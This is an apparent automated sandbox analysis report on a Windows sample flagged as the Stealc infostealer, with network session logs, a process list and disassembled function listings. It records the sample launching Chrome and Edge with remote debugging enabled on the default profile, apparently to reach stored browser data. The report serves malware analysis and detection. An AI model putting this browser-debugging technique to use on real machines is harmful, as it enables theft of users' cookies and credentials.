2024-10-30 17:06:50 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:50 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 21 Oct 2024 03:13:18 GMT X-Datacenter: northeu X-ActivityId: 6db12733-9255-4acf-9296-95e19c30786f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 Content-Length: 4096 Cache-Control: public, max-age=381925 Expires: Mon, 04 Nov 2024 03:12:15 GMT Date: Wed, 30 Oct 2024 17:06:50 GMT Connection: close
2024-10-30 17:06:50 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49927	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:50 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:50 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:50 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 17a5a9a5-201e-0003-7b36-28f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170650Z-17fbfdc98bbdbgkb6uyh3q4ue400000007r0000000002y4n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:50 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49926	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:50 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:51 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:50 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 5ec9f71f-c01e-0082-7a31-26af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170650Z-r1755647c665dwkwce4e7gadz0000000095g000000003eax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:51 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49928	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:50 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:51 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:51 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170651Z-17fbfdc98bbgm62892kdp1w19800000007dg000000004t19 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:51 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Target ID:	0
Start time:	13:06:09
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc50000
File size:	2'153'472 bytes
MD5 hash:	363F1B2F4756DA222B17A7DA242D8F7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2513651548.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2111533445.0000000005190000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2514950284.000000000154E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:06:20
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:06:21
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1900 --field-trial-handle=2008,i,15293137688797351701,7841592471978055485,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:06:32
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:06:32
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:06:32
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2656,i,2284156981973121022,16163962859087693110,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:06:33
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	13:06:38
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6944 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:06:38
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7100 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:07:33
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7048 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5A35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C62F688,00001000), ref: 6C5A35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5A35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5A35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5A363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5A369F
__aulldiv.LIBCMT ref: 6C5A36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5A3773
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5A377E
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5A37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5A37C4
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5A37CB
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5A3801
__aulldiv.LIBCMT ref: 6C5A3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5A3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5A3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5A394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C5A35DB
GTC, xrefs: 6C5A3912
GenuntelineI, xrefs: 6C5A3639
AuthcAMDenti, xrefs: 6C5A3946
QPC, xrefs: 6C5A38FC

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 2c4448e7cb1090e5ad88f7fb1f6d1f98e8f0659bc47a31968e1b8cb9188a8460
Instruction ID: 58258d794846fcac44fbf7d8a36d5c5d9ce4a27c2b84679bf9037ea9a8444b09
Opcode Fuzzy Hash: 2c4448e7cb1090e5ad88f7fb1f6d1f98e8f0659bc47a31968e1b8cb9188a8460
Instruction Fuzzy Hash: C2B1D671B093109FDB08DF6AC884A1ABBF5FB8A704F04893DE499D7750D738D9058B8A

Function 6C5BC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5BC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5BC969
GetSystemInfo.KERNEL32(?), ref: 6C5BC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5BC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5BC9E2

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: c25a419378f0307c4cc3593511087e2d48e8c7a017ecbf304a149edabb2da990
Instruction ID: ee57ad9629ccca4bbce986a2f7b66707ca0dbbf25c9cb405b823373fd64a2c64
Opcode Fuzzy Hash: c25a419378f0307c4cc3593511087e2d48e8c7a017ecbf304a149edabb2da990
Instruction Fuzzy Hash: 1721D731741218ABEB14AA29CCD4BAE77B9EB86744F50051EF943B7A40EB707C04879D

Function 6C5A3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5A3095

Part of subcall function 6C5A35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C62F688,00001000), ref: 6C5A35D5
Part of subcall function 6C5A35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5A35E0
Part of subcall function 6C5A35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5A35FD
Part of subcall function 6C5A35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5A363F
Part of subcall function 6C5A35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5A369F
Part of subcall function 6C5A35A0: __aulldiv.LIBCMT ref: 6C5A36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A309F

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5A30BE

Part of subcall function 6C5A30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5A3127
Part of subcall function 6C5A30F0: __aulldiv.LIBCMT ref: 6C5A3140

Part of subcall function 6C5DAB2A: __onexit.LIBCMT ref: 6C5DAB30

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 7652b2b07070b95f457e38f3c29b51b2d7fdcefa6832b054756fe781511fc3f7
Instruction ID: 28c5886c79c98ed68545528f8921f23ad7d5b28c6b54648bcd6eb66a00b02b5d
Opcode Fuzzy Hash: 7652b2b07070b95f457e38f3c29b51b2d7fdcefa6832b054756fe781511fc3f7
Instruction Fuzzy Hash: 2DF0F932E20754D6CB10DF7A8CC1AEAB370EFAB118F511719E84563511FB2465D8838B

Non-executed Functions

Function 6C5B5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5B5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B54BE
__Init_thread_footer.LIBCMT ref: 6C5B54DB

Part of subcall function 6C5DAB3F: EnterCriticalSection.KERNEL32(6C62E370,?,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB49
Part of subcall function 6C5DAB3F: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DAB7C

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5B54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5B5516
GetCurrentThreadId.KERNEL32 ref: 6C5B556A
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5B5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5B5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5B55E6
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B5616

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

GetCurrentThreadId.KERNEL32 ref: 6C5B563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5B5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5B567C
free.MOZGLUE(?), ref: 6C5B56AE

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5B56E8
GetCurrentThreadId.KERNEL32 ref: 6C5B5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5B570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5B5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5B574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5B576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5B5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5B57B3
